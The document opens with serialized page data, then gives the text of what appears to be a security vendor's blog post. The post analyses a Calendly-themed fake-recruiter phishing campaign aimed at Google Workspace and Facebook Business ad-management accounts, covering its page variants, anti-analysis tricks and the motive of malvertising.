:106760,"nodeType":866},{},[106761],{"data":106762,"marks":106763,"value":70245,"nodeType":865},{},[],{"data":106765,"content":106766,"nodeType":866},{},[106767,106771],{"data":106768,"marks":106769,"value":70253,"nodeType":865},{},[106770],{"type":961},{"data":106772,"marks":106773,"value":70257,"nodeType":865},{},[],{"data":106775,"content":106776,"nodeType":866},{},[106777],{"data":106778,"marks":106779,"value":70264,"nodeType":865},{},[],{"data":106781,"content":106784,"nodeType":925},{"target":106782},{"sys":106783},{"id":70269,"type":922,"linkType":923},[],{"data":106786,"content":106789,"nodeType":925},{"target":106787},{"sys":106788},{"id":70275,"type":922,"linkType":923},[],{"data":106791,"content":106792,"nodeType":953},{},[],{"data":106794,"content":106795,"nodeType":963},{},[106796],{"data":106797,"marks":106798,"value":70287,"nodeType":865},{},[106799],{"type":961},{"data":106801,"content":106802,"nodeType":866},{},[106803],{"data":106804,"marks":106805,"value":70294,"nodeType":865},{},[],{"data":106807,"content":106808,"nodeType":866},{},[106809],{"data":106810,"marks":106811,"value":70301,"nodeType":865},{},[],{"data":106813,"content":106816,"nodeType":925},{"target":106814},{"sys":106815},{"id":70306,"type":922,"linkType":923},[],{"data":106818,"content":106819,"nodeType":866},{},[106820,106823,106830],{"data":106821,"marks":106822,"value":70314,"nodeType":865},{},[],{"data":106824,"content":106825,"nodeType":882},{"uri":70317},[106826],{"data":106827,"marks":106828,"value":70323,"nodeType":865},{},[106829],{"type":997},{"data":106831,"marks":106832,"value":70327,"nodeType":865},{},[],{"data":106834,"content":106835,"nodeType":866},{},[106836],{"data":106837,"marks":106838,"value":70334,"nodeType":865},{},[],{"data":106840,"content":106843,"nodeType":925},{"target":106841},{"sys":106842},{"id":70339,"type":922,"linkType":923},[],{"data":106845,"content":106846,"nodeType":866},{},[106847],{"data":106848,"marks":106849,"value":70347,"nodeType":865},{},[],{"data":106851,"content":106854,"nodeType":925},{"target":106852},{"sys":106853},{"id":70352,"type":922,"linkType":923},[],{"data":106856,"content":106857,"nodeType":866},{},[106858],{"data":106859,"marks":106860,"value":70360,"nodeType":865},{},[],{"data":106862,"content":106863,"nodeType":1049},{},[106864,106873,106882,106891],{"data":106865,"content":106866,"nodeType":1003},{},[106867],{"data":106868,"content":106869,"nodeType":866},{},[106870],{"data":106871,"marks":106872,"value":70373,"nodeType":865},{},[],{"data":106874,"content":106875,"nodeType":1003},{},[106876],{"data":106877,"content":106878,"nodeType":866},{},[106879],{"data":106880,"marks":106881,"value":70383,"nodeType":865},{},[],{"data":106883,"content":106884,"nodeType":1003},{},[106885],{"data":106886,"content":106887,"nodeType":866},{},[106888],{"data":106889,"marks":106890,"value":70393,"nodeType":865},{},[],{"data":106892,"content":106893,"nodeType":1003},{},[106894],{"data":106895,"content":106896,"nodeType":866},{},[106897],{"data":106898,"marks":106899,"value":70403,"nodeType":865},{},[],{"data":106901,"content":106904,"nodeType":925},{"target":106902},{"sys":106903},{"id":70408,"type":922,"linkType":923},[],{"data":106906,"content":106909,"nodeType":925},{"target":106907},{"sys":106908},{"id":70414,"type":922,"linkType":923},[],{"data":106911,"content":106912,"nodeType":866},{},[106913],{"data":106914,"marks":106915,"value":70422,"nodeType":865},{},[],{"data":106917,"content":106918,"nodeType":866},{},[106919],{"data":106920,"marks":106921,"value":70429,"nodeType":865},{},[],{"data":106923,"content":106924,"nodeType":953},{},[],{"data":106926,"content":106927,"nodeType":963},{},[106928],{"data":106929,"marks":106930,"value":70440,"nodeType":865},{},[106931],{"type":961},{"data":106933,"content":106934,"nodeType":866},{},[106935,106938,106945],{"data":106936,"marks":106937,"value":70447,"nodeType":865},{},[],{"data":106939,"content":106940,"nodeType":882},{"uri":70450},[106941],{"data":106942,"marks":106943,"value":70456,"nodeType":865},{},[106944],{"type":997},{"data":106946,"marks":106947,"value":70460,"nodeType":865},{},[],{"data":106949,"content":106950,"nodeType":866},{},[106951],{"data":106952,"marks":106953,"value":70467,"nodeType":865},{},[],{"data":106955,"content":106958,"nodeType":925},{"target":106956},{"sys":106957},{"id":70472,"type":922,"linkType":923},[],{"data":106960,"content":106961,"nodeType":866},{},[106962,106965,106972],{"data":106963,"marks":106964,"value":70480,"nodeType":865},{},[],{"data":106966,"content":106967,"nodeType":882},{"uri":38372},[106968],{"data":106969,"marks":106970,"value":70488,"nodeType":865},{},[106971],{"type":997},{"data":106973,"marks":106974,"value":1048,"nodeType":865},{},[],{"data":106976,"content":106979,"nodeType":925},{"target":106977},{"sys":106978},{"id":70496,"type":922,"linkType":923},[],{"data":106981,"content":106982,"nodeType":866},{},[106983,106986,106993],{"data":106984,"marks":106985,"value":70504,"nodeType":865},{},[],{"data":106987,"content":106988,"nodeType":882},{"uri":70507},[106989],{"data":106990,"marks":106991,"value":441,"nodeType":865},{},[106992],{"type":997},{"data":106994,"marks":106995,"value":70516,"nodeType":865},{},[],{"data":106997,"content":106998,"nodeType":866},{},[106999],{"data":107000,"marks":107001,"value":70523,"nodeType":865},{},[],{"data":107003,"content":107004,"nodeType":953},{},[],{"data":107006,"content":107007,"nodeType":963},{},[107008],{"data":107009,"marks":107010,"value":70534,"nodeType":865},{},[107011],{"type":961},{"data":107013,"content":107014,"nodeType":866},{},[107015],{"data":107016,"marks":107017,"value":70541,"nodeType":865},{},[],{"data":107019,"content":107020,"nodeType":866},{},[107021,107024,107031,107034,107041,107044,107051],{"data":107022,"marks":107023,"value":70548,"nodeType":865},{},[],{"data":107025,"content":107026,"nodeType":882},{"uri":70551},[107027],{"data":107028,"marks":107029,"value":70557,"nodeType":865},{},[107030],{"type":997},{"data":107032,"marks":107033,"value":8756,"nodeType":865},{},[],{"data":107035,"content":107036,"nodeType":882},{"uri":70563},[107037],{"data":107038,"marks":107039,"value":29100,"nodeType":865},{},[107040],{"type":997},{"data":107042,"marks":107043,"value":70572,"nodeType":865},{},[],{"data":107045,"content":107046,"nodeType":882},{"uri":70575},[107047],{"data":107048,"marks":107049,"value":70581,"nodeType":865},{},[107050],{"type":997},{"data":107052,"marks":107053,"value":70585,"nodeType":865},{},[],{"data":107055,"content":107056,"nodeType":866},{},[107057,107060],{"data":107058,"marks":107059,"value":70592,"nodeType":865},{},[],{"data":107061,"marks":107062,"value":70597,"nodeType":865},{},[107063],{"type":961},{"data":107065,"content":107066,"nodeType":953},{},[],{"data":107068,"content":107069,"nodeType":963},{},[107070],{"data":107071,"marks":107072,"value":70608,"nodeType":865},{},[107073],{"type":961},{"data":107075,"content":107076,"nodeType":866},{},[107077,107080,107086],{"data":107078,"marks":107079,"value":70615,"nodeType":865},{},[],{"data":107081,"content":107082,"nodeType":882},{"uri":13634},[107083],{"data":107084,"marks":107085,"value":29898,"nodeType":865},{},[],{"data":107087,"marks":107088,"value":70625,"nodeType":865},{},[],{"data":107090,"content":107091,"nodeType":866},{},[107092],{"data":107093,"marks":107094,"value":70632,"nodeType":865},{},[],{"data":107096,"content":107097,"nodeType":866},{},[107098,107101,107105],{"data":107099,"marks":107100,"value":70639,"nodeType":865},{},[],{"data":107102,"marks":107103,"value":70644,"nodeType":865},{},[107104],{"type":961},{"data":107106,"marks":107107,"value":70648,"nodeType":865},{},[],{"data":107109,"content":107110,"nodeType":866},{},[107111],{"data":107112,"marks":107113,"value":70655,"nodeType":865},{},[],{"data":107115,"content":107116,"nodeType":866},{},[107117],{"data":107118,"marks":107119,"value":70662,"nodeType":865},{},[],{"data":107121,"content":107124,"nodeType":925},{"target":107122},{"sys":107123},{"id":70667,"type":922,"linkType":923},[],{"data":107126,"content":107127,"nodeType":866},{},[107128],{"data":107129,"marks":107130,"value":70675,"nodeType":865},{},[],{"data":107132,"content":107133,"nodeType":953},{},[],{"data":107135,"content":107136,"nodeType":963},{},[107137],{"data":107138,"marks":107139,"value":70686,"nodeType":865},{},[107140],{"type":961},{"data":107142,"content":107143,"nodeType":866},{},[107144],{"data":107145,"marks":107146,"value":70693,"nodeType":865},{},[],{"data":107148,"content":107149,"nodeType":1049},{},[107150,107159,107168,107177,107186],{"data":107151,"content":107152,"nodeType":1003},{},[107153],{"data":107154,"content":107155,"nodeType":866},{},[107156],{"data":107157,"marks":107158,"value":70706,"nodeType":865},{},[],{"data":107160,"content":107161,"nodeType":1003},{},[107162],{"data":107163,"content":107164,"nodeType":866},{},[107165],{"data":107166,"marks":107167,"value":70716,"nodeType":865},{},[],{"data":107169,"content":107170,"nodeType":1003},{},[107171],{"data":107172,"content":107173,"nodeType":866},{},[107174],{"data":107175,"marks":107176,"value":70726,"nodeType":865},{},[],{"data":107178,"content":107179,"nodeType":1003},{},[107180],{"data":107181,"content":107182,"nodeType":866},{},[107183],{"data":107184,"marks":107185,"value":70736,"nodeType":865},{},[],{"data":107187,"content":107188,"nodeType":1003},{},[107189],{"data":107190,"content":107191,"nodeType":866},{},[107192],{"data":107193,"marks":107194,"value":70746,"nodeType":865},{},[],{"data":107196,"content":107197,"nodeType":866},{},[107198],{"data":107199,"marks":107200,"value":70753,"nodeType":865},{},[],{"data":107202,"content":107203,"nodeType":953},{},[],{"data":107205,"content":107206,"nodeType":963},{},[107207],{"data":107208,"marks":107209,"value":70764,"nodeType":865},{},[107210],{"type":961},{"data":107212,"content":107215,"nodeType":925},{"target":107213},{"sys":107214},{"id":70769,"type":922,"linkType":923},[],{"data":107217,"content":107218,"nodeType":866},{},[107219],{"data":107220,"marks":107221,"value":70777,"nodeType":865},{},[],{"data":107223,"content":107224,"nodeType":866},{},[107225],{"data":107226,"marks":107227,"value":70784,"nodeType":865},{},[],{"data":107229,"content":107232,"nodeType":925},{"target":107230},{"sys":107231},{"id":70789,"type":922,"linkType":923},[],{"data":107234,"content":107235,"nodeType":866},{},[107236],{"data":107237,"marks":107238,"value":70797,"nodeType":865},{},[],{"data":107240,"content":107241,"nodeType":1049},{},[107242,107255],{"data":107243,"content":107244,"nodeType":1003},{},[107245],{"data":107246,"content":107247,"nodeType":866},{},[107248,107252],{"data":107249,"marks":107250,"value":70811,"nodeType":865},{},[107251],{"type":961},{"data":107253,"marks":107254,"value":70815,"nodeType":865},{},[],{"data":107256,"content":107257,"nodeType":1003},{},[107258],{"data":107259,"content":107260,"nodeType":866},{},[107261,107265],{"data":107262,"marks":107263,"value":70826,"nodeType":865},{},[107264],{"type":961},{"data":107266,"marks":107267,"value":70830,"nodeType":865},{},[],{"data":107269,"content":107270,"nodeType":866},{},[107271],{"data":107272,"marks":107273,"value":70837,"nodeType":865},{},[],{"data":107275,"content":107276,"nodeType":866},{},[107277],{"data":107278,"marks":107279,"value":70844,"nodeType":865},{},[],{"data":107281,"content":107284,"nodeType":925},{"target":107282},{"sys":107283},{"id":70849,"type":922,"linkType":923},[],{"data":107286,"content":107287,"nodeType":866},{},[107288],{"data":107289,"marks":107290,"value":70857,"nodeType":865},{},[],{"data":107292,"content":107295,"nodeType":925},{"target":107293},{"sys":107294},{"id":70862,"type":922,"linkType":923},[],{"data":107297,"content":107298,"nodeType":1458},{},[107299],{"data":107300,"marks":107301,"value":22744,"nodeType":865},{},[107302],{"type":961},{"data":107304,"content":107305,"nodeType":866},{},[107306,107309,107316],{"data":107307,"marks":107308,"value":25047,"nodeType":865},{},[],{"data":107310,"content":107311,"nodeType":882},{"uri":13757},[107312],{"data":107313,"marks":107314,"value":13762,"nodeType":865},{},[107315],{"type":997},{"data":107317,"marks":107318,"value":70887,"nodeType":865},{},[],{"data":107320,"content":107321,"nodeType":866},{},[107322],{"data":107323,"marks":107324,"value":70894,"nodeType":865},{},[],{"data":107326,"content":107327,"nodeType":1049},{},[107328,107337,107346],{"data":107329,"content":107330,"nodeType":1003},{},[107331],{"data":107332,"content":107333,"nodeType":866},{},[107334],{"data":107335,"marks":107336,"value":70907,"nodeType":865},{},[],{"data":107338,"content":107339,"nodeType":1003},{},[107340],{"data":107341,"content":107342,"nodeType":866},{},[107343],{"data":107344,"marks":107345,"value":70917,"nodeType":865},{},[],{"data":107347,"content":107348,"nodeType":1003},{},[107349],{"data":107350,"content":107351,"nodeType":866},{},[107352],{"data":107353,"marks":107354,"value":70927,"nodeType":865},{},[],{"data":107356,"content":107357,"nodeType":866},{},[107358],{"data":107359,"marks":107360,"value":70934,"nodeType":865},{},[],{"data":107362,"content":107363,"nodeType":1049},{},[107364,107373,107382],{"data":107365,"content":107366,"nodeType":1003},{},[107367],{"data":107368,"content":107369,"nodeType":866},{},[107370],{"data":107371,"marks":107372,"value":70947,"nodeType":865},{},[],{"data":107374,"content":107375,"nodeType":1003},{},[107376],{"data":107377,"content":107378,"nodeType":866},{},[107379],{"data":107380,"marks":107381,"value":70957,"nodeType":865},{},[],{"data":107383,"content":107384,"nodeType":1003},{},[107385],{"data":107386,"content":107387,"nodeType":866},{},[107388],{"data":107389,"marks":107390,"value":70967,"nodeType":865},{},[],{"data":107392,"content":107393,"nodeType":953},{},[],{"data":107395,"content":107396,"nodeType":963},{},[107397],{"data":107398,"marks":107399,"value":70978,"nodeType":865},{},[107400],{"type":961},{"data":107402,"content":107403,"nodeType":866},{},[107404],{"data":107405,"marks":107406,"value":70985,"nodeType":865},{},[],{"data":107408,"content":107411,"nodeType":925},{"target":107409},{"sys":107410},{"id":70990,"type":922,"linkType":923},[],{"data":107413,"content":107414,"nodeType":866},{},[107415,107418,107425],{"data":107416,"marks":107417,"value":70998,"nodeType":865},{},[],{"data":107419,"content":107420,"nodeType":882},{"uri":13634},[107421],{"data":107422,"marks":107423,"value":71006,"nodeType":865},{},[107424],{"type":997},{"data":107426,"marks":107427,"value":71010,"nodeType":865},{},[],{"data":107429,"content":107430,"nodeType":866},{},[107431],{"data":107432,"marks":107433,"value":71017,"nodeType":865},{},[],{"data":107435,"content":107436,"nodeType":866},{},[107437,107440,107447,107450,107457],{"data":107438,"marks":107439,"value":32401,"nodeType":865},{},[],{"data":107441,"content":107442,"nodeType":882},{"uri":22700},[107443],{"data":107444,"marks":107445,"value":22706,"nodeType":865},{},[107446],{"type":997},{"data":107448,"marks":107449,"value":71034,"nodeType":865},{},[],{"data":107451,"content":107452,"nodeType":882},{"uri":1728},[107453],{"data":107454,"marks":107455,"value":22730,"nodeType":865},{},[107456],{"type":997},{"data":107458,"marks":107459,"value":1048,"nodeType":865},{},[],{"data":107461,"content":107464,"nodeType":925},{"target":107462},{"sys":107463},{"id":71049,"type":922,"linkType":923},[],{"data":107466,"content":107467,"nodeType":866},{},[107468],{"data":107469,"marks":107470,"value":21,"nodeType":865},{},[],{"items":107472},[107473,107475],{"sys":107474,"name":11426},{"id":11425},{"sys":107476,"name":342},{"id":8410},{"items":107478},[107479],{"fullName":32445,"firstName":32446,"jobTitle":32447,"profilePicture":107480},{"url":32449},{"__typename":1788,"sys":107482,"content":107483,"title":60312,"synopsis":108063,"hashTags":59,"publishedDate":108064,"slug":60313,"tagsCollection":108065,"authorsCollection":108071},{"id":15560},{"json":107484},{"data":107485,"content":107486,"nodeType":1739},{},[107487,107494,107501,107508,107514,107521,107524,107532,107539,107546,107553,107559,107566,107572,107579,107585,107592,107598,107628,107635,107641,107648,107654,107661,107667,107674,107717,107720,107728,107735,107742,107749,107755,107758,107766,107773,107793,107799,107805,107811,107818,107824,107830,107850,107853,107861,107880,107886,107893,107911,107919,107926,107933,107940,107958,107966,107973,107979,107982,107989,107996,108003,108006,108013,108020,108026,108052,108057],{"data":107488,"content":107489,"nodeType":866},{},[107490],{"data":107491,"marks":107492,"value":107493,"nodeType":865},{},[],"We recently investigated a sophisticated phishing campaign targeting Google Workspace and Facebook Business accounts with Calendly-themed phishing lures, based around a fake job opportunity. ",{"data":107495,"content":107496,"nodeType":866},{},[107497],{"data":107498,"marks":107499,"value":107500,"nodeType":865},{},[],"We were first alerted to the campaign when a Push customer was hit with a highly targeted email-based attack, where the attacker used an Attacker-in-the-Middle (AiTM) phishing toolkit to target the customer’s Google Workspace account. ",{"data":107502,"content":107503,"nodeType":866},{},[107504],{"data":107505,"marks":107506,"value":107507,"nodeType":865},{},[],"In this case, Google was the customer’s primary enterprise IdP account, used to access native Google suite apps as well as SSO to downstream apps — effectively, the front door to their business IT stack. Despite this, the attacker’s MO was specifically the takeover of accounts used for the management of digital ads. ",{"data":107509,"content":107513,"nodeType":925},{"target":107510},{"sys":107511},{"id":107512,"type":922,"linkType":923},"5oivBCf1Fqvnq0GNCSko8f",[],{"data":107515,"content":107516,"nodeType":866},{},[107517],{"data":107518,"marks":107519,"value":107520,"nodeType":865},{},[],"In this blog post, we break down the various TTPs used by the attacker across the campaign, and consider why ad management platforms are being specifically targeted.  ",{"data":107522,"content":107523,"nodeType":953},{},[],{"data":107525,"content":107526,"nodeType":963},{},[107527],{"data":107528,"marks":107529,"value":107531,"nodeType":865},{},[107530],{"type":961},"Variant 1: Targeting Google Workspace with a sophisticated email phish ",{"data":107533,"content":107534,"nodeType":866},{},[107535],{"data":107536,"marks":107537,"value":107538,"nodeType":865},{},[],"The first phishing variant we analyzed began with a multi-stage phishing email lure, framed as a job opportunity for LVMH (Louis Vuitton Moët Hennessy), which oversees more than 75 brands across sectors like fashion, cosmetics, watches, and spirits. The specific delivery address is impersonating “Inside LVMH”, the talent acquisition and training arm of LVMH.  ",{"data":107540,"content":107541,"nodeType":866},{},[107542],{"data":107543,"marks":107544,"value":107545,"nodeType":865},{},[],"This lure is notable for multiple reasons. It is highly targeted, well-written, populated with information from the victim, and coming from what appears to be a legitimate employee of LVMH. Even if the victim was initially suspicious, searching for the recruiter’s name would appear to confirm their identity.  ",{"data":107547,"content":107548,"nodeType":866},{},[107549],{"data":107550,"marks":107551,"value":107552,"nodeType":865},{},[],"It is possible, even likely, that this interaction was operated using AI, using information scraped from the internet — but in any case, the outcome achieved is highly convincing. ",{"data":107554,"content":107558,"nodeType":925},{"target":107555},{"sys":107556},{"id":107557,"type":922,"linkType":923},"46BYpquURERbkhWc6C2Lpc",[],{"data":107560,"content":107561,"nodeType":866},{},[107562],{"data":107563,"marks":107564,"value":107565,"nodeType":865},{},[],"Only after the victim has responded to an initial email was the phishing link delivered under the guise of a Calendly link to book time for a call. ",{"data":107567,"content":107571,"nodeType":925},{"target":107568},{"sys":107569},{"id":107570,"type":922,"linkType":923},"37GBkfXGEdWvdQbMq65sad",[],{"data":107573,"content":107574,"nodeType":866},{},[107575],{"data":107576,"marks":107577,"value":107578,"nodeType":865},{},[],"Clicking the link takes the victim to an authentic-looking page impersonating a Calendly landing page.",{"data":107580,"content":107584,"nodeType":925},{"target":107581},{"sys":107582},{"id":107583,"type":922,"linkType":923},"1DwOPzK7mxsoJlEBp8cMpr",[],{"data":107586,"content":107587,"nodeType":866},{},[107588],{"data":107589,"marks":107590,"value":107591,"nodeType":865},{},[],"After completing the CAPTCHA check and selecting \"Continue with Google” the victim is redirected to an AiTM phishing page designed to capture Google Workspace credentials, with specific branding impersonating Calendly — making this visually distinct from most common Google-themed phishing pages. ",{"data":107593,"content":107597,"nodeType":925},{"target":107594},{"sys":107595},{"id":107596,"type":922,"linkType":923},"u1SY1uUX23sxfBYLpyaKb",[],{"data":107599,"content":107600,"nodeType":866},{},[107601,107605,107613,107617,107624],{"data":107602,"marks":107603,"value":107604,"nodeType":865},{},[],"This page uses ",{"data":107606,"content":107607,"nodeType":882},{"uri":70317},[107608],{"data":107609,"marks":107610,"value":107612,"nodeType":865},{},[107611],{"type":997},"specific targeting parameters",{"data":107614,"marks":107615,"value":107616,"nodeType":865},{},[]," to ensure that only the intended recipient is able to access the page’s malicious functionality — a well-known ",{"data":107618,"content":107619,"nodeType":882},{"uri":13634},[107620],{"data":107621,"marks":107622,"value":13639,"nodeType":865},{},[107623],{"type":997},{"data":107625,"marks":107626,"value":107627,"nodeType":865},{},[]," to prevent security analysts from being able to fully analyse the page (as malicious elements are not rendered until this check is completed). ",{"data":107629,"content":107630,"nodeType":866},{},[107631],{"data":107632,"marks":107633,"value":107634,"nodeType":865},{},[],"As you can see in the example below, attempts to use any email other than the intended victim’s email domain are blocked.   ",{"data":107636,"content":107640,"nodeType":925},{"target":107637},{"sys":107638},{"id":107639,"type":922,"linkType":923},"5m8LvVYjXz0zrITgTWqxio",[],{"data":107642,"content":107643,"nodeType":866},{},[107644],{"data":107645,"marks":107646,"value":107647,"nodeType":865},{},[],"Only entering an allowed email domain loads the password entry field. ",{"data":107649,"content":107653,"nodeType":925},{"target":107650},{"sys":107651},{"id":107652,"type":922,"linkType":923},"6KFRJSsgk2pB6x67kWdpws",[],{"data":107655,"content":107656,"nodeType":866},{},[107657],{"data":107658,"marks":107659,"value":107660,"nodeType":865},{},[],"We identified a number of pages that appear to be part of the same campaign. All these pages have the same visual style, Calendly-themed lure targeting Google Workspace accounts, and appear to match real employees of the respective companies being impersonated. ",{"data":107662,"content":107666,"nodeType":925},{"target":107663},{"sys":107664},{"id":107665,"type":922,"linkType":923},"zMkN1U5QlvIEcfOGmhBBf",[],{"data":107668,"content":107669,"nodeType":866},{},[107670],{"data":107671,"marks":107672,"value":107673,"nodeType":865},{},[],"The different pages include:",{"data":107675,"content":107676,"nodeType":1049},{},[107677,107687,107697,107707],{"data":107678,"content":107679,"nodeType":1003},{},[107680],{"data":107681,"content":107682,"nodeType":866},{},[107683],{"data":107684,"marks":107685,"value":107686,"nodeType":865},{},[],"A different visual match for the LVMH page.",{"data":107688,"content":107689,"nodeType":1003},{},[107690],{"data":107691,"content":107692,"nodeType":866},{},[107693],{"data":107694,"marks":107695,"value":107696,"nodeType":865},{},[],"A Lego recruitment themed page.",{"data":107698,"content":107699,"nodeType":1003},{},[107700],{"data":107701,"content":107702,"nodeType":866},{},[107703],{"data":107704,"marks":107705,"value":107706,"nodeType":865},{},[],"A Mastercard HR themed page.",{"data":107708,"content":107709,"nodeType":1003},{},[107710],{"data":107711,"content":107712,"nodeType":866},{},[107713],{"data":107714,"marks":107715,"value":107716,"nodeType":865},{},[],"An Uber recruitment themed page.",{"data":107718,"content":107719,"nodeType":953},{},[],{"data":107721,"content":107722,"nodeType":963},{},[107723],{"data":107724,"marks":107725,"value":107727,"nodeType":865},{},[107726],{"type":961},"Variant 2: Targeting Facebook Business accounts",{"data":107729,"content":107730,"nodeType":866},{},[107731],{"data":107732,"marks":107733,"value":107734,"nodeType":865},{},[],"Upon further investigation, we found links to a second phishing page style that appears to be part of a longer campaign targeting Facebook accounts, dating back more than two years. ",{"data":107736,"content":107737,"nodeType":866},{},[107738],{"data":107739,"marks":107740,"value":107741,"nodeType":865},{},[],"In total, we identified 31 unique URLs associated with the same campaign, many of which were recycled over time to impersonate different brands. ",{"data":107743,"content":107744,"nodeType":866},{},[107745],{"data":107746,"marks":107747,"value":107748,"nodeType":865},{},[],"Since most of these pages appeared to be older (and no longer live) they could not be analysed further, beyond giving an indication of how the phishing campaign has evolved over time. ",{"data":107750,"content":107754,"nodeType":925},{"target":107751},{"sys":107752},{"id":107753,"type":922,"linkType":923},"5PFRI9XtNVdkpYiRoIYpF",[],{"data":107756,"content":107757,"nodeType":953},{},[],{"data":107759,"content":107760,"nodeType":963},{},[107761],{"data":107762,"marks":107763,"value":107765,"nodeType":865},{},[107764],{"type":961},"Variant 3: Targeting both Google and Facebook accounts",{"data":107767,"content":107768,"nodeType":866},{},[107769],{"data":107770,"marks":107771,"value":107772,"nodeType":865},{},[],"We also discovered a third, more recent variant targeting both Google and Facebook accounts with Calendly-styled pages.",{"data":107774,"content":107775,"nodeType":866},{},[107776,107780,107789],{"data":107777,"marks":107778,"value":107779,"nodeType":865},{},[],"This variant looks to leverage a Browser-in-the-Browser style pop-up window similar to the ",{"data":107781,"content":107783,"nodeType":882},{"uri":107782},"https://pushsecurity.com/blog/analyzing-the-latest-sneaky2fa-phishing-page/",[107784],{"data":107785,"marks":107786,"value":107788,"nodeType":865},{},[107787],{"type":997},"Sneaky2FA attacks we reported on recently",{"data":107790,"marks":107791,"value":107792,"nodeType":865},{},[],". BITB allows the attacker to mask the phishing page URL by presenting a fake URL set by the attacker, inside a pop-up login window. ",{"data":107794,"content":107798,"nodeType":925},{"target":107795},{"sys":107796},{"id":107797,"type":922,"linkType":923},"7w4cmyqPvhxAFrokaK9CE1",[],{"data":107800,"content":107804,"nodeType":925},{"target":107801},{"sys":107802},{"id":107803,"type":922,"linkType":923},"6FUSNecz0BXLxJxoJTsALD",[],{"data":107806,"content":107810,"nodeType":925},{"target":107807},{"sys":107808},{"id":107809,"type":922,"linkType":923},"2zwFDrgsLuxi4Xv2q0nPFK",[],{"data":107812,"content":107813,"nodeType":866},{},[107814],{"data":107815,"marks":107816,"value":107817,"nodeType":865},{},[],"The attacker also implemented additional anti-analysis functionality, beyond the specific domain targeting we observed in the first page variant — the result of which meant the page IP blocked us from interacting with it further. ",{"data":107819,"content":107823,"nodeType":925},{"target":107820},{"sys":107821},{"id":107822,"type":922,"linkType":923},"3ZPdxi5cGZcn5hF1ISIUa7",[],{"data":107825,"content":107829,"nodeType":925},{"target":107826},{"sys":107827},{"id":107828,"type":922,"linkType":923},"3J5pmgNL9LevE1FdX4oksf",[],{"data":107831,"content":107832,"nodeType":866},{},[107833,107837,107846],{"data":107834,"marks":107835,"value":107836,"nodeType":865},{},[],"Often ",{"data":107838,"content":107840,"nodeType":882},{"uri":107839},"https://phishing-techniques.pushsecurity.com/techniques/anti-sandbox/",[107841],{"data":107842,"marks":107843,"value":107845,"nodeType":865},{},[107844],{"type":997},"accessing dev tools",{"data":107847,"marks":107848,"value":107849,"nodeType":865},{},[]," on a page is enough to trigger this, specifically targeting security analysts and web-crawling security bots/tools. ",{"data":107851,"content":107852,"nodeType":953},{},[],{"data":107854,"content":107855,"nodeType":963},{},[107856],{"data":107857,"marks":107858,"value":107860,"nodeType":865},{},[107859],{"type":961},"Why are attackers targeting business ad management accounts?",{"data":107862,"content":107863,"nodeType":866},{},[107864,107868,107876],{"data":107865,"marks":107866,"value":107867,"nodeType":865},{},[],"The campaign shows signs of being a long-running, targeted initiative focused on compromising accounts responsible for managing digital ads on behalf of businesses. The attackers have demonstrated that they are continuing to iterate on their TTPs, introducing new page styles with increased sophistication, and new ",{"data":107869,"content":107871,"nodeType":882},{"uri":107870},"https://phishing-techniques.pushsecurity.com/#techniques-table",[107872],{"data":107873,"marks":107874,"value":29898,"nodeType":865},{},[107875],{"type":997},{"data":107877,"marks":107878,"value":107879,"nodeType":865},{},[]," to defeat security analysis tools.  ",{"data":107881,"content":107885,"nodeType":925},{"target":107882},{"sys":107883},{"id":107884,"type":922,"linkType":923},"m5GsTsDb55T70MU2m72B1",[],{"data":107887,"content":107888,"nodeType":866},{},[107889],{"data":107890,"marks":107891,"value":107892,"nodeType":865},{},[],"We also discovered that Google recently issued a security warning specifically for agency organizations managing ads for a number of businesses, urging them to create security alerts whenever a new account is added to a Manager Account (MCC) used to view and manage multiple Google Ads accounts from a single view. ",{"data":107894,"content":107895,"nodeType":866},{},[107896,107900,107907],{"data":107897,"marks":107898,"value":107899,"nodeType":865},{},[],"With malvertising on the rise as an increasingly popular attack vector for the delivery of AITM phishing, malware downloads, and ",{"data":107901,"content":107902,"nodeType":882},{"uri":38372},[107903],{"data":107904,"marks":107905,"value":315,"nodeType":865},{},[107906],{"type":997},{"data":107908,"marks":107909,"value":107910,"nodeType":865},{},[]," (4 in 5 ClickFix attacks intercepted by Push were delivered via Google Search), it makes sense that attackers are looking to increase their web of accounts from which to launch malicious ads. ",{"data":107912,"content":107913,"nodeType":1458},{},[107914],{"data":107915,"marks":107916,"value":107918,"nodeType":865},{},[107917],{"type":961},"Why are attackers turning to malvertising?",{"data":107920,"content":107921,"nodeType":866},{},[107922],{"data":107923,"marks":107924,"value":107925,"nodeType":865},{},[],"Malvertising attacks delivered over search engines (e.g. Google Search) and social media apps (Facebook, LinkedIn, etc.) are a great way to catch victims unawares while also evading typically email-based anti-phishing controls. ",{"data":107927,"content":107928,"nodeType":866},{},[107929],{"data":107930,"marks":107931,"value":107932,"nodeType":865},{},[],"The flipside of this is that malvertising attacks are less likely to be targeted than phishing delivered directly to the victim via a direct message (i.e. email, social media DM, instant messenger app, SMS, etc.). ",{"data":107934,"content":107935,"nodeType":866},{},[107936],{"data":107937,"marks":107938,"value":107939,"nodeType":865},{},[],"However, that isn’t to say that malvertising attacks can’t be targeted. For example, Google Ads can be targeted to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). If you know where your target organization is located, you can tailor the ad to that location. Even more precise ad targeting can be achieved on social media platforms. ",{"data":107941,"content":107942,"nodeType":866},{},[107943,107947,107954],{"data":107944,"marks":107945,"value":107946,"nodeType":865},{},[],"Malvertising is an effective way to launch “watering hole” style attacks, casting a wide net to harvest credentials and account access that can be re-sold to other criminals for a fee, or leveraged by partners in the cybercriminal ecosystem as part of major cyber breaches (such as the recent attacks by the “",{"data":107948,"content":107949,"nodeType":882},{"uri":8759},[107950],{"data":107951,"marks":107952,"value":19437,"nodeType":865},{},[107953],{"type":997},{"data":107955,"marks":107956,"value":107957,"nodeType":865},{},[],"” criminal collective, all of which began with identity-based initial access). For this reason, credentials and access are an increasingly profitable commodity for cyber criminals. ",{"data":107959,"content":107960,"nodeType":1458},{},[107961],{"data":107962,"marks":107963,"value":107965,"nodeType":865},{},[107964],{"type":961},"Additional considerations",{"data":107967,"content":107968,"nodeType":866},{},[107969],{"data":107970,"marks":107971,"value":107972,"nodeType":865},{},[],"As previously mentioned, compromising a Google Workspace account (particularly where it is the primary enterprise cloud platform used by the organization) provides comprehensive access to business apps, data, and functionality that can be exploited by attackers — effectively, it’s the access point to modern business IT. There’s a good chance that attackers establishing a foothold in this way would look to leverage this access further, or at least sell on that access to a criminal group looking to take the attack further. 